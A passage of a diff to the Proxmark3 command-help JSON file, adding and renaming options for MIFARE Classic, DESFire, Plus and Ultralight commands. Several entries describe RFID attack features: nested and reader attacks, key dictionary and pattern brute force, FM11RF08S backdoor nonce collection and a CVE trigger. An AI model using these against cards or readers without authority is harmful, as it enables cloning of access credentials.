uid", @@ -4857,7 +5073,7 @@ "hf mf ginfo --pwd 01020304 -> get info with password", "hf mf ginfo -d 00000000000002090978009102BDAC19131011121314151604001800FF0002FD -v -> decode config block" ], - "offline": false, + "offline": true, "options": [ "-h, --help This help", "-v, --verbose verbose output", @@ -4882,16 +5098,17 @@ "-h, --help This help", "--mini MIFARE Classic Mini / S20", "--1k MIFARE Classic 1k / S50 (def)", + "--1k+ MIFARE Classic Ev1 1k / S50", "--2k MIFARE Classic/Plus 2k", "--4k MIFARE Classic 4k / S70", "-p, --pwd password 4bytes", "-v, --verbose verbose output", "-f, --file Specify a filename for dump file", "--emu from emulator memory", - "--start index of block to start writing (default 0)", + "--start index of block to start writing (def 0)", "--end index of block to end writing (default last block)" ], - "usage": "hf mf gload [-hv] [--mini] [--1k] [--2k] [--4k] [-p ] [-f ] [--emu] [--start ] [--end ]" + "usage": "hf mf gload [-hv] [--mini] [--1k] [--1k+] [--2k] [--4k] [-p ] [-f ] [--emu] [--start ] [--end ]" }, "hf mf gsave": { "command": "hf mf gsave", @@ -4989,7 +5206,7 @@ }, "hf mf help": { "command": "hf mf help", - "description": "help This help list List MIFARE history hardnested Nested attack for hardened MIFARE Classic cards decrypt Decrypt Crypto1 data from sniff or trace acl Decode and print MIFARE Classic access rights bytes mad Checks and prints MAD value Value blocks view Display content from tag dump file gdmparsecfg Parse config block to card --------------------------------------------------------------------------------------- hf mf list available offline: yes Alias of `trace list -t mf -c` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", + "description": "help This help list List MIFARE history hardnested Nested attack for hardened MIFARE Classic cards decrypt Decrypt Crypto1 data from sniff or trace bambukeys Generate key table for Bambu Lab filament tag acl Decode and print MIFARE Classic access rights bytes mad Checks and prints MAD value Value blocks view Display content from tag dump file ginfo Info about configuration of the card gdmparsecfg Parse config block to card --------------------------------------------------------------------------------------- hf mf list available offline: yes Alias of `trace list -t mf -c` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", "notes": [ "hf mf list --frame -> show frame delay times", "hf mf list -1 -> use trace buffer" @@ -5061,9 +5278,11 @@ "", "FM11RF08S specific options: Incompatible with above options, except -k; output in JSON", "--collect_fm11rf08s collect all nT/{nT}/par_err.", - "--collect_fm11rf08s_with_data collect all nT/{nT}/par_err and data blocks." + "--collect_fm11rf08s_with_data collect all nT/{nT}/par_err and data blocks.", + "--collect_fm11rf08s_without_backdoor collect all nT/{nT}/par_err without backdoor. Requires first auth keytype and block", + "-f, --file Specify a filename for collected data" ], - "usage": "hf mf isen [-hab] [--blk ] [-c ] [-k ] [--blk2 ] [--a2] [--b2] [--c2 ] [--key2 ] [-n ] [--reset] [--hardreset] [--addread] [--addauth] [--incblk2] [--corruptnrar] [--corruptnrarparity] FM11RF08S specific options: [--collect_fm11rf08s] [--collect_fm11rf08s_with_data]" + "usage": "hf mf isen [-hab] [--blk ] [-c ] [-k ] [--blk2 ] [--a2] [--b2] [--c2 ] [--key2 ] [-n ] [--reset] [--hardreset] [--addread] [--addauth] [--incblk2] [--corruptnrar] [--corruptnrarparity] FM11RF08S specific options: [--collect_fm11rf08s] [--collect_fm11rf08s_with_data] [--collect_fm11rf08s_without_backdoor] [-f ]" }, "hf mf mad": { "command": "hf mf mad", @@ -5082,9 +5301,10 @@ "-b, --keyb use key B for access printing sectors (by default: key A)", "--be (optional, BigEndian)", "--dch decode Card Holder information", - "-f, --file load dump file and decode MAD" + "-f, --file load dump file and decode MAD", + "--force force decode (skip key check)" ], - "usage": "hf mf mad [-hvb] [--aid ] [-k ] [--be] [--dch] [-f ]" + "usage": "hf mf mad [-hvb] [--aid ] [-k ] [--be] [--dch] [-f ] [--force]" }, "hf mf nack": { "command": "hf mf nack", @@ -5304,7 +5524,8 @@ "hf mf sim --1k -u 11223344556677 -> MIFARE Classic 1k with 7b UID", "hf mf sim --1k -u 11223344 -i -x -> Perform reader attack in interactive mode", "hf mf sim --2k -> MIFARE 2k", - "hf mf sim --4k -> MIFARE 4k" + "hf mf sim --4k -> MIFARE 4k", + "hf mf sim --1k -x -e -> Keep simulation running and populate with found reader keys" ], "offline": false, "options": [ @@ -5314,16 +5535,19 @@ "--1k MIFARE Classic 1k / S50", "--2k MIFARE Classic/Plus 2k", "--4k MIFARE Classic 4k / S70", - "--atqa Provide explicit ATQA (2 bytes, overrides option t)", - "--sak Provide explicit SAK (1 bytes, overrides option t)", + "--atqa Provide explicit ATQA (2 bytes)", + "--sak Provide explicit SAK (1 bytes)", "-n, --num Automatically exit simulation after blocks have been read by reader. 0 = infinite", "-i, --interactive Console will not be returned until simulation finishes or is aborted", - "-x Performs the 'reader attack', nr/ar attack against a reader", - "-e, --emukeys Fill simulator keys from found keys", - "-v, --verbose verbose output", - "--cve trigger CVE 2021_0430" + "-x Performs the 'reader attack', nr/ar attack against a reader.", + "-y Performs the nested 'reader attack'. This requires preloading nt & nt_enc in emulator memory. Implies -x.", + "-e, --emukeys Fill simulator keys from found keys. Requires -x or -y. Implies -i. Simulation will restart automatically.", + "--allowkeyb Allow key B even if readable", + "--allowover Allow auth attempts out of range for selected MIFARE Classic type", + "-v, --verbose Verbose output", + "--cve Trigger CVE 2021_0430" ], - "usage": "hf mf sim [-hixev] [-u ] [--mini] [--1k] [--2k] [--4k] [--atqa ] [--sak ] [-n ] [--cve]" + "usage": "hf mf sim [-hixyev] [-u ] [--mini] [--1k] [--2k] [--4k] [--atqa ] [--sak ] [-n ] [--allowkeyb] [--allowover] [--cve]" }, "hf mf staticnested": { "command": "hf mf staticnested", @@ -5456,7 +5680,8 @@ "hf mfdes auth -n 0 -t des -k 0000000000000000 --kdf none -> select PICC level and authenticate with key num=0, key type=des, key=00..00 and key derivation = none", "hf mfdes auth -n 0 -t aes -k 00000000000000000000000000000000 -> select PICC level and authenticate with key num=0, key type=aes, key=00..00 and key derivation = none", "hf mfdes auth -n 0 -t des -k 0000000000000000 --save -> select PICC level and authenticate and in case of successful authentication - save channel parameters to defaults", - "hf mfdes auth --aid 123456 -> select application 123456 and authenticate via parameters from `default` command" + "hf mfdes auth --aid 123456 -> select application 123456 and authenticate via parameters from `default` command", + "hf mfdes auth --dfname D2760000850100 -n 0 -t aes -k 00000000000000000000000000000000 -> select DF by name and authenticate" ], "offline": false, "options": [ @@ -5473,9 +5698,10 @@ "--schann Secure channel", "--aid Application ID of application for some parameters (3 hex bytes, big endian)", "--isoid Application ISO ID (ISO DF ID) (2 hex bytes, big endian)", + "--dfname Application ISO DF Name (5-16 hex bytes, big endian)", "--save saves channels parameters to defaults if authentication succeeds" ], - "usage": "hf mfdes auth [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--aid ] [--isoid ] [--save]" + "usage": "hf mfdes auth [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--aid ] [--isoid ] [--dfname ] [--save]" }, "hf mfdes bruteaid": { "command": "hf mfdes bruteaid", @@ -5572,8 +5798,8 @@ "description": "Checks keys with MIFARE DESFire card.", "notes": [ "hf mfdes chk --aid 123456 -k 000102030405060708090a0b0c0d0e0f -> check key on aid 0x123456", - "hf mfdes chk -d mfdes_default_keys -> check keys against all existing aid on card", - "hf mfdes chk -d mfdes_default_keys --aid 123456 -> check keys against aid 0x123456", + "hf mfdes chk -f mfdes_default_keys -> check keys against all existing aid on card", + "hf mfdes chk -f mfdes_default_keys --aid 123456 -> check keys against aid 0x123456", "hf mfdes chk --aid 123456 --pattern1b -j keys -> check all 1-byte keys pattern on aid 0x123456 and save found keys to `keys.json`", "hf mfdes chk --aid 123456 --pattern2b --startp2b FA00 -> check all 2-byte keys pattern on aid 0x123456. Start from key FA00FA00...FA00" ], @@ -5582,7 +5808,7 @@ "-h, --help This help", "--aid Use specific AID (3 hex bytes, big endian)", "-k, --key Key for checking (HEX 16 bytes)", - "-d, --dict Dictionary file with keys", + "-f, --file Filename of dictionary", "--pattern1b Check all 1-byte combinations of key (0000...0000, 0101...0101, 0202...0202, ...)", "--pattern2b Check all 2-byte combinations of key (0000...0000, 0001...0001, 0002...0002, ...)", "--startp2b Start key (2-byte HEX) for 2-byte search (use with `--pattern2b`)", @@ -5592,7 +5818,7 @@ "-i, --kdfi KDF input (1-31 hex bytes)", "-a, --apdu Show APDU requests and responses" ], - "usage": "hf mfdes chk [-hva] [--aid ] [-k ] [-d ] [--pattern1b] [--pattern2b] [--startp2b ] [-j ] [--kdf <0|1|2>] [-i ]" + "usage": "hf mfdes chk [-hva] [--aid ] [-k ] [-f ] [--pattern1b] [--pattern2b] [--startp2b ] [-j ] [--kdf <0|1|2>] [-i ]" }, "hf mfdes chkeysettings": { "command": "hf mfdes chkeysettings", @@ -5699,7 +5925,7 @@ "--rawdata Raw data that sends to command", "--aid Application ID for create. Mandatory. (3 hex bytes, big endian)", "--fid ISO file ID. Forbidden values: 0000 3F00, 3FFF, FFFF. (2 hex bytes, big endian)", - "--dfname ISO DF Name (1..16 chars)", + "--dfname ISO DF Name (1..16 chars)", "--dfhex ISO DF Name as hex (1..16 bytes)", "--ks1 Key settings 1 (1 hex byte). Application Master Key Settings (def: 0x0F)", "--ks2 Key settings 2 (1 hex byte). (def: 0x0E)", @@ -5707,7 +5933,7 @@ "--numkeys Number of keys 0x00..0x0e (def: 0x0E)", "--no-auth Execute without authentication" ], - "usage": "hf mfdes createapp [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--rawdata ] [--aid ] [--fid ] [--dfname ] [--dfhex ] [--ks1 ] [--ks2 ] [--dstalgo ] [--numkeys ] [--no-auth]" + "usage": "hf mfdes createapp [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--rawdata ] [--aid ] [--fid ] [--dfname ] [--dfhex ] [--ks1 ] [--ks2 ] [--dstalgo ] [--numkeys ] [--no-auth]" }, "hf mfdes createfile": { "command": "hf mfdes createfile", @@ -5848,7 +6074,7 @@ "-a, --apdu Show APDU requests and responses", "-v, --verbose Verbose output", "-n, --keyno Key number", - "-t, --algo Crypt algo", + "-t, --algo Crypt algo (deft: 2TDEA)", "-k, --key Key for authenticate (HEX 8(DES), 16(2TDEA or AES) or 24(3TDEA) bytes)", "--kdf Key Derivation Function (KDF)", "-i, --kdfi KDF input (1-31 hex bytes)", @@ -5947,7 +6173,7 @@ "notes": [ "hf mfdes detect -> detect key 0 from PICC level", "hf mfdes detect --schann d40 -> detect key 0 from PICC level via secure channel D40", - "hf mfdes detect --dict mfdes_default_keys -> detect key 0 from PICC level with help of the standard dictionary", + "hf mfdes detect -f mfdes_default_keys -> detect key 0 from PICC level with help of the standard dictionary", "hf mfdes detect --aid 123456 -n 2 --save -> detect key 2 from app 123456 and if succeed - save params to defaults (`default` command)", "hf mfdes detect --isoid df01 --save -> detect key 0 and save to defaults with card in the LRP mode" ], @@ -5966,10 +6192,11 @@ "--schann Secure channel", "--aid Application ID (3 hex bytes, big endian)", "--isoid Application ISO ID (ISO DF ID) (2 hex bytes, big endian).", - "--dict Dictionary file name with keys", + "--dfname Application ISO DF Name (5-16 hex bytes, big endian)", + "-f, --file Filename of dictionary", "--save Save found key and parameters to defaults" ], - "usage": "hf mfdes detect [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--aid ] [--isoid ] [--dict ] [--save]" + "usage": "hf mfdes detect [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--aid ] [--isoid ] [--dfname ] [-f ] [--save]" }, "hf mfdes dump": { "command": "hf mfdes dump", @@ -5992,10 +6219,11 @@ "--schann Secure channel", "--aid Application ID (3 hex bytes, big endian)", "--isoid Application ISO ID (ISO DF ID) (2 hex bytes, big endian)", + "--dfname Application ISO DF Name (5-16 hex bytes, big endian)", "-l, --length Maximum length for read data files (3 hex bytes, big endian)", "--no-auth Execute without authentication" ], - "usage": "hf mfdes dump [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--aid ] [--isoid ] [-l ] [--no-auth]" + "usage": "hf mfdes dump [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--aid ] [--isoid ] [--dfname ] [-l ] [--no-auth]" }, "hf mfdes formatpicc": { "command": "hf mfdes formatpicc", @@ -6039,9 +6267,10 @@ "-m, --cmode Communicaton mode", "-c, --ccset Communicaton command set", "--schann Secure channel", - "--no-auth Execute without authentication" + "--no-auth Execute without authentication", + "--dfname Application ISO DF Name (5-16 hex bytes, big endian)" ], - "usage": "hf mfdes getfreemem [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--no-auth]" + "usage": "hf mfdes getfreemem [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--no-auth] [--dfname ]" }, "hf mfdes getaids": { "command": "hf mfdes getaids", @@ -6094,7 +6323,8 @@ "description": "Get File IDs list from card. Master key needs to be provided or flag --no-auth set.", "notes": [ "hf mfdes getfileids --aid 123456 -> execute with defaults from `default` command", - "hf mfdes getfileids -n 0 -t des -k 0000000000000000 --kdf none --aid 123456 -> execute with default factory setup" + "hf mfdes getfileids -n 0 -t des -k 0000000000000000 --kdf none --aid 123456 -> execute with default factory setup", + "hf mfdes getfileids --dfname D2760000850100 -> select DF by name and get file IDs" ], "offline": false, "options": [ @@ -6111,9 +6341,10 @@ "--schann Secure channel", "--aid Application ID (3 hex bytes, big endian)", "--isoid Application ISO ID (ISO DF ID) (2 hex bytes, big endian).", + "--dfname Application ISO DF Name (5-16 hex bytes, big endian)", "--no-auth Execute without authentication" ], - "usage": "hf mfdes getfileids [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--aid ] [--isoid ] [--no-auth]" + "usage": "hf mfdes getfileids [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--aid ] [--isoid ] [--dfname ] [--no-auth]" }, "hf mfdes getfileisoids": { "command": "hf mfdes getfileisoids", @@ -6122,7 +6353,8 @@ "hf mfdes getfileisoids --aid 123456 -> execute with defaults from `default` command", "hf mfdes getfileisoids -n 0 -t des -k 0000000000000000 --kdf none --aid 123456 -> execute with default factory setup", "hf mfdes getfileisoids --isoid df01 -> get iso file ids from Desfire Light with factory card settings", - "hf mfdes getfileisoids --isoid df01 --schann lrp -t aes -> get iso file ids from Desfire Light via lrp channel with default key authentication" + "hf mfdes getfileisoids --isoid df01 --schann lrp -t aes -> get iso file ids from Desfire Light via lrp channel with default key authentication", + "hf mfdes getfileisoids --dfname D2760000850100 -> select DF by name and get file ISO IDs" ], "offline": false, "options": [ @@ -6139,9 +6371,10 @@ "--schann Secure channel", "--aid Application ID (3 hex bytes, big endian)", "--isoid Application ISO ID (ISO DF ID) (2 hex bytes, big endian).", + "--dfname Application ISO DF Name (5-16 hex bytes, big endian)", "--no-auth Execute without authentication" ], - "usage": "hf mfdes getfileisoids [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--aid ] [--isoid ] [--no-auth]" + "usage": "hf mfdes getfileisoids [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--aid ] [--isoid ] [--dfname ] [--no-auth]" }, "hf mfdes getfilesettings": { "command": "hf mfdes getfilesettings", @@ -6149,7 +6382,8 @@ "notes": [ "hf mfdes getfilesettings --aid 123456 --fid 01 -> execute with defaults from `default` command", "hf mfdes getfilesettings --isoid df01 --fid 00 --no-auth -> get file settings with select by iso id", - "hf mfdes getfilesettings -n 0 -t des -k 0000000000000000 --kdf none --aid 123456 --fid 01 -> execute with default factory setup" + "hf mfdes getfilesettings -n 0 -t des -k 0000000000000000 --kdf none --aid 123456 --fid 01 -> execute with default factory setup", + "hf mfdes getfilesettings --dfname D2760000850100 --fid 01 -> select DF by name and get file settings" ], "offline": false, "options": [ @@ -6166,17 +6400,19 @@ "--schann Secure channel", "--aid Application ID (3 hex bytes, big endian)", "--isoid Application ISO ID (ISO DF ID) (2 hex bytes, big endian)", + "--dfname Application ISO DF Name (5-16 hex bytes, big endian)", "--fid File ID (1 hex byte). (def: 1)", "--no-auth Execute without authentication" ], - "usage": "hf mfdes getfilesettings [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--aid ] [--isoid ] [--fid ] [--no-auth]" + "usage": "hf mfdes getfilesettings [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--aid ] [--isoid ] [--dfname ] [--fid ] [--no-auth]" }, "hf mfdes getkeysettings": { "command": "hf mfdes getkeysettings", "description": "Get key settings for card level or application level.", "notes": [ "hf mfdes getkeysettings -> get picc key settings with default key/channel setup", - "hf mfdes getkeysettings --aid 123456 -> get app 123456 key settings with default key/channel setup" + "hf mfdes getkeysettings --aid 123456 -> get app 123456 key settings with default key/channel setup", + "hf mfdes getkeysettings --dfname D2760000850100 -> select DF by name and get key settings" ], "offline": false, "options": [ @@ -6191,9 +6427,10 @@ "-m, --cmode Communicaton mode", "-c, --ccset Communicaton command set", "--schann Secure channel", - "--aid Application ID (3 hex bytes, big endian)" + "--aid Application ID (3 hex bytes, big endian)", + "--dfname Application ISO DF Name (5-16 hex bytes, big endian)" ], - "usage": "hf mfdes getkeysettings [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--aid ]" + "usage": "hf mfdes getkeysettings [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--aid ] [--dfname ]" }, "hf mfdes getkeyversions": { "command": "hf mfdes getkeyversions", @@ -6202,7 +6439,8 @@ "--keynum parameter: App level: key number. PICC level: 00..0d - keys count, 21..23 vc keys, default 0x00.", "hf mfdes getkeyversions --keynum 00 -> get picc master key version with default key/channel setup", "hf mfdes getkeyversions --aid 123456 --keynum 0d -> get app 123456 all key versions with default key/channel setup", - "hf mfdes getkeyversions --aid 123456 --keynum 0d --no-auth -> get key version without authentication" + "hf mfdes getkeyversions --aid 123456 --keynum 0d --no-auth -> get key version without authentication", + "hf mfdes getkeyversions --dfname D2760000850100 --keynum 00 -> select DF by name and get key versions" ], "offline": false, "options": [ @@ -6219,18 +6457,20 @@ "--schann Secure channel", "--aid Application ID (3 hex bytes, big endian)", "--isoid Application ISO ID (ISO DF ID) (2 hex bytes, big endian).", + "--dfname Application ISO DF Name (5-16 hex bytes, big endian)", "--keynum Key number/count (1 hex byte). (def: 0x00)", "--keyset Keyset number (1 hex byte)", "--no-auth Execute without authentication" ], - "usage": "hf mfdes getkeyversions [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--aid ] [--isoid ] [--keynum ] [--keyset ] [--no-auth]" + "usage": "hf mfdes getkeyversions [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--aid ] [--isoid ] [--dfname ] [--keynum ] [--keyset ] [--no-auth]" }, "hf mfdes getuid": { "command": "hf mfdes getuid", "description": "Get UID from card. Get the real UID if the random UID bit is on and get the same UID as in anticollision if not. Any card's key needs to be provided.", "notes": [ "hf mfdes getuid -> execute with default factory setup", - "hf mfdes getuid --isoid df01 -t aes --schan lrp -> for desfire lights default settings" + "hf mfdes getuid --isoid df01 -t aes --schan lrp -> for desfire lights default settings", + "hf mfdes getuid --dfname D2760000850100 -> select DF by name and get UID" ], "offline": false, "options": [ @@ -6246,9 +6486,10 @@ "-c, --ccset Communicaton command set", "--schann Secure channel", "--aid Application ID (3 hex bytes, big endian)", - "--isoid Application ISO ID (ISO DF ID) (2 hex bytes, big endian)" + "--isoid Application ISO ID (ISO DF ID) (2 hex bytes, big endian)", + "--dfname Application ISO DF Name (5-16 hex bytes, big endian)" ], - "usage": "hf mfdes getuid [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--aid ] [--isoid ]" + "usage": "hf mfdes getuid [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--aid ] [--isoid ] [--dfname ]" }, "hf mfdes help": { "command": "hf mfdes help", @@ -6288,7 +6529,8 @@ "description": "Show application list. Master key needs to be provided or flag --no-auth set (depend on cards settings).", "notes": [ "hf mfdes lsapp -> show application list with defaults from `default` command", - "hf mfdes lsapp --files -> show application list and show each file type/settings/etc" + "hf mfdes lsapp --files -> show application list and show each file type/settings/etc", + "hf mfdes lsapp --dfname D2760000850100 -> list apps after selecting DF by name" ], "offline": false, "options": [ @@ -6305,16 +6547,18 @@ "--schann Secure channel", "--no-auth Execute without authentication", "--no-deep not to check authentication commands that avail for any application", - "--files scan files and print file settings" + "--files scan files and print file settings", + "--dfname Application ISO DF Name (5-16 hex bytes, big endian)" ], - "usage": "hf mfdes lsapp [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--no-auth] [--no-deep] [--files]" + "usage": "hf mfdes lsapp [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--no-auth] [--no-deep] [--files] [--dfname ]" }, - "hf mfdes lsfiles": { - "command": "hf mfdes lsfiles", + "hf mfdes lsfile": { + "command": "hf mfdes lsfile", "description": "This commands List files inside application AID / ISOID. Master key needs to be provided or flag --no-auth set (depend on cards settings).", "notes": [ "hf mfdes lsfiles --aid 123456 -> AID 123456, list files using `default` command creds", - "hf mfdes lsfiles --isoid df01 --no-auth -> list files for DESFire light" + "hf mfdes lsfiles --isoid df01 --no-auth -> list files for DESFire light", + "hf mfdes lsfiles --dfname D2760000850100 -> select DF by name and list files" ], "offline": false, "options": [ @@ -6331,9 +6575,38 @@ "--schann Secure channel", "--aid Application ID (3 hex bytes, big endian)", "--isoid Application ISO ID (ISO DF ID) (2 hex bytes, big endian)", + "--dfname Application ISO DF Name (5-16 hex bytes, big endian)", "--no-auth Execute without authentication" ], - "usage": "hf mfdes lsfiles [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--aid ] [--isoid ] [--no-auth]" + "usage": "hf mfdes lsfiles [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--aid ] [--isoid ] [--dfname ] [--no-auth]" + }, + "hf mfdes lsfiles": { + "command": "hf mfdes lsfiles", + "description": "This commands List files inside application AID / ISOID. Master key needs to be provided or flag --no-auth set (depend on cards settings).", + "notes": [ + "hf mfdes lsfiles --aid 123456 -> AID 123456, list files using `default` command creds", + "hf mfdes lsfiles --isoid df01 --no-auth -> list files for DESFire light", + "hf mfdes lsfiles --dfname D2760000850100 -> select DF by name and list files" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-a, --apdu Show APDU requests and responses", + "-v, --verbose Verbose output", + "-n, --keyno Key number", + "-t, --algo Crypt algo", + "-k, --key Key for authenticate (HEX 8(DES), 16(2TDEA or AES) or 24(3TDEA) bytes)", + "--kdf Key Derivation Function (KDF)", + "-i, --kdfi KDF input (1-31 hex bytes)", + "-m, --cmode Communicaton mode", + "-c, --ccset Communicaton command set", + "--schann Secure channel", + "--aid Application ID (3 hex bytes, big endian)", + "--isoid Application ISO ID (ISO DF ID) (2 hex bytes, big endian)", + "--dfname Application ISO DF Name (5-16 hex bytes, big endian)", + "--no-auth Execute without authentication" + ], + "usage": "hf mfdes lsfiles [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--aid ] [--isoid ] [--dfname ] [--no-auth]" }, "hf mfdes mad": { "command": "hf mfdes mad", @@ -6510,7 +6783,7 @@ "-a, --apdu Show APDU requests and responses", "-v, --verbose Verbose output", "-n, --keyno Key number", - "-t, --algo Crypt algo", + "-t, --algo Crypt algo (deft: 2TDEA)", "-k, --key Key for authenticate (HEX 8(DES), 16(2TDEA or AES) or 24(3TDEA) bytes)", "--kdf Key Derivation Function (KDF)", "-i, --kdfi KDF input (1-31 hex bytes)", @@ -6587,9 +6860,9 @@ "-h, --help This help", "-v, --verbose Verbose output", "--ki Key number, 2 hex bytes", - "--key Key, 16 hex bytes" + "-k, --key Key, 16 hex bytes" ], - "usage": "hf mfp auth [-hv] --ki --key " + "usage": "hf mfp auth [-hv] --ki -k " }, "hf mfp chconf": { "command": "hf mfp chconf", @@ -6623,7 +6896,7 @@ "notes": [ "hf mfp chk -k 000102030405060708090a0b0c0d0e0f -> check key on sector 0 as key A and B", "hf mfp chk -s 2 -a -> check default key list on sector 2, only key A", - "hf mfp chk -d mfp_default_keys -s0 -e6 -> check keys from dictionary against sectors 0-6", + "hf mfp chk -f mfp_default_keys -s 0 -e 6 -> check keys from dictionary against sectors 0-6", "hf mfp chk --pattern1b --dump -> check all 1-byte keys pattern and save found keys to file", "hf mfp chk --pattern2b --startp2b FA00 -> check all 2-byte keys pattern. Start from key FA00FA00...FA00" ], @@ -6635,14 +6908,15 @@ "-s, --startsec <0..255> Start sector number", "-e, --endsec <0..255> End sector number", "-k, --key Key for checking (HEX 16 bytes)", - "-d, --dict Dictionary file with keys", + "-f, --file Dictionary file with default keys", "--pattern1b Check all 1-byte combinations of key (0000...0000, 0101...0101, 0202...0202, ...)", "--pattern2b Check all 2-byte combinations of key (0000...0000, 0001...0001, 0002...0002, ...)", "--startp2b Start key (2-byte HEX) for 2-byte search (use with `--pattern2b`)", "--dump Dump found keys to JSON file", + "--no-default Skip check default keys", "-v, --verbose Verbose output" ], - "usage": "hf mfp chk [-habv] [-s <0..255>] [-e <0..255>] [-k ] [-d ] [--pattern1b] [--pattern2b] [--startp2b ] [--dump]" + "usage": "hf mfp chk [-habv] [-s <0..255>] [-e <0..255>] [-k ] [-f ] [--pattern1b] [--pattern2b] [--startp2b ] [--dump] [--no-default]" }, "hf mfp chkey": { "command": "hf mfp chkey", @@ -6898,6 +7172,22 @@ ], "usage": "hf mfp wrp [-hv] -a [-d ]" }, + "hf mfu aesauth": { + "command": "hf mfu aesauth", + "description": "Tests AES key on Mifare Ultralight AES tags. If no key is specified, null key will be tried. Key index 0... DataProtKey (default) Key index 1... UIDRetrKey Key index 2... OriginalityKey", + "notes": [ + "hf mfu aesauth", + "hf mfu aesauth --key <16 hex bytes> --idx <0..2>" + ], + "offline": false, + "options": [ + "-h, --help This help", + "--key AES key (16 hex bytes)", + "-i, --idx <0..2> Key index (def: 0)", + "-k Keep field on (only if a key is provided)" + ], + "usage": "hf mfu aesauth [-hk] [--key ] [-i <0..2>]" + }, "hf mfu amiibo": { "command": "hf mfu amiibo", "description": "Tries to read all memory from amiibo tag and decrypt it", @@ -6918,7 +7208,7 @@ }, "hf mfu cauth": { "command": "hf mfu cauth", - "description": "Tests 3DES password on Mifare Ultralight-C tag. If password is not specified, a set of known defaults will be tested.", + "description": "Tests 3DES key on Mifare Ultralight-C tag. If key is not specified, a set of known defaults will be tried.", "notes": [ "hf mfu cauth", "hf mfu cauth --key 000102030405060708090a0b0c0d0e0f" @@ -6926,9 +7216,9 @@ "offline": false, "options": [ "-h, --help This help", - "--key Authentication key (UL-C 16 hex bytes)", + "--key Authentication key (16 bytes in hex)", "-l Swap entered key's endianness", - "-k Keep field on (only if a password is provided)" + "-k Keep field on (only if a key is provided)" ], "usage": "hf mfu cauth [-hlk] [--key ]" }, @@ -7023,6 +7313,22 @@ ], "usage": "hf 14a list [-h1crux] [--frame] [-f ]" }, + "hf mfu incr": { + "command": "hf mfu incr", + "description": "Increment a MIFARE Ultralight Ev1 counter Will read but not increment counter if NTAG is detected", + "notes": [ + "hf mfu incr -c 0 -v 1337", + "hf mfu incr -c 2 -v 0 -p FFFFFFFF" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-c, --cnt Counter index from 0", + "-v, --val Value to increment by (0-16777215)", + "-p, --pwd PWD to authenticate with" + ], + "usage": "hf mfu incr [-h] -c -v [-p ]" + }, "hf mfu info": { "command": "hf mfu info", "description": "Get info about MIFARE Ultralight Family styled tag. Sometimes the tags are locked down, and you may need a key to be able to read the information", @@ -7181,21 +7487,24 @@ }, "hf mfu sim": { "command": "hf mfu sim", - "description": "Simulate MIFARE Ultralight family type based upon ISO/IEC 14443 type A tag with 4,7 or 10 byte UID from emulator memory. See `hf mfu eload` first. The UID from emulator memory will be used if not specified. See `hf 14a sim -h` to see available types. You want 2 or 7 usually.", + "description": "Simulate MIFARE Ultralight family type based upon ISO/IEC 14443 type A tag with 4,7 or 10 byte UID from emulator memory. See `hf mfu eload` first. The UID from emulator memory will be used if not specified. See `hf 14a sim -h` to see available types. You want 2, 7 or 13 usually.", "notes": [ "hf mfu sim -t 2 --uid 11223344556677 -> MIFARE Ultralight", "hf mfu sim -t 7 --uid 11223344556677 -n 5 -> MFU EV1 / NTAG 215 Amiibo", - "hf mfu sim -t 7 -> MFU EV1 / NTAG 215 Amiibo" + "hf mfu sim -t 7 -> MFU EV1 / NTAG 215 Amiibo", + "hf mfu sim -t 13 -> MIFARE Ultralight-C" ], "offline": false, "options": [ "-h, --help This help", - "-t, --type <1..12> Simulation type to use", + "-t, --type <1..13> Simulation type to use", "-u, --uid <4|7|10> hex bytes UID", "-n, --num Exit simulation after blocks. 0 = infinite", - "-v, --verbose Verbose output" + "-v, --verbose Verbose output", + "--c1 UL-C Auth - all zero handshake part 1", + "--c2 UL-C Auth - all zero handshake part 2" ], - "usage": "hf mfu sim 